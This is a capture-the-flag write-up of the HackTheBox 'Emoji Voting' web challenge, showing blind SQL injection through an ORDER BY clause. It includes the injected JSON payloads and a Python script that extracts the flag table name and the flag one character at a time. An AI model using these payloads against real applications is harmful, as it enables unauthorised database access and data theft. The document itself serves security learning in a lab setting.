Emoji Voting was a 2-star rated ‘Web’ machine. The server was vulnerable to SQL injection, which allowed for the flag to be discovered. This was a fairly laborious process, as the SQL injection was after an ‘ORDER BY’ statement, which increased the complexity of exploiting it.
Pwning Emoji Voting
The website itself appears to be a simple voting system, with buttons to vote for various emoji’s. As with most of the HackTheBox machines, there was a file containing the files for the server. These files reveal that the flag is going to reside within a table beginning with ‘flag_
‘
Reading the database.js
file, it revealed 2 database functions which could be exploited, namely vote()
and getEmojis()
. After some initial testing, it was clear that the getEmojis
function was the vulnerable endpoint.
Intercepting the traffic with Burp reveals that a request is made to the /api/list
endpoint every 5 seconds (To update the current voting statistics). This endpoint then calls the getEmojis
function, which takes the body of the request and uses it in the ORDER BY statement above.
Typically, exploiting a vulnerability like this would be fairly easy with a UNION command, or a sub-query. The following quote explains why this particular type of SQL injection is tricky to exploit:
Exploiting SQL injection in an ORDER BY clause is significantly different from most other cases. A database will not accept a UNION, WHERE, OR, or AND keyword at this point in the query. Exploitation requires the attacker to specify a nested query in place of the ORDER BY parameter.
https://portswigger.net/support/sql-injection-in-the-query-structure
Crafting an nested SQL statement
To exploit this, we can run a nested query after the ORDER BY clause. This allows us to compare one letter at a time, and slowly discover values within the database. This is exceptionally slow, but it is a viable method! Sending the following text to the /api/list endpoint: {"order":"(CASE WHEN 1==2 THEN id ELSE count END) DESC"}
. This returned the emoji values ordered by the count
value, showing we had successfully injected code into the SQL statement. The SQL engine had determined that 1==2 was false, and so it evaluated to count DESC
, returning the data ordered by the count
value descending.
Following a lot of troubleshooting, an SQL statement can be written to find the full name of the ‘flag table’. As the ‘flag table’ uses a randomised name, we need to query the sqlite_master
table to determine its name. By using the process above, we know that a value is true if it returns data ordered by the id
column, if it is false then it will be ordered by the count
column. This query is as follows:
{"order":"(CASE WHEN (SELECT SUBSTR(name,1,1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag_%')=CHAR(1) THEN id ELSE count END) DESC"}
Using Python, we can rapidly query the API, and easily determine if we have found the correct letter for a given position. We do this by incrementing the value of the SUBSTR
method and the CHAR
value to cover the entire word. After doing this, we end up with the following script.
import requests,time
URL = "http://188.166.145.178:32715/api/list"
def make_request(position, value):
request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(name,{position},1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag%')=CHAR({value}) THEN id ELSE count END) DESC"}
resp = requests.post(URL, json=request_data)
response_json_data = resp.json()
if response_json_data[1]['id'] == 11:
return True
else:
return False
for position in range(6,17):
#For each position, try and determine the letter
for hex_value in range(255):
response = make_request(position, hex_value)
if response:
print(f"Char Position {position} = {hex_value} ({chr(hex_value)})")
break
Finding the flag table and Emoji Voting flag
After running this for a few minutes, we figure out the full name of the flag table, as being flag_e42009d78f
, as shown below.
Now we know the name of the table, we can modify the request_data
f-string value to query the flag column within the flag_e42009d78f
table. This then changes to the following value:
request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(flag,{position},1) FROM flag_e42009d78f)=CHAR({value}) THEN id ELSE count END) DESC"}
Running the Python script again, we figure out the final flag value is CHTB{order_me_this_juicy_info}
. Overall, I really enjoyed playing through Emoji Voting. I felt I was quite good at SQL injection exploits, but this machine taught me a lot of new techniques! If you enjoyed this writeup, I have written up several other boxes at this link.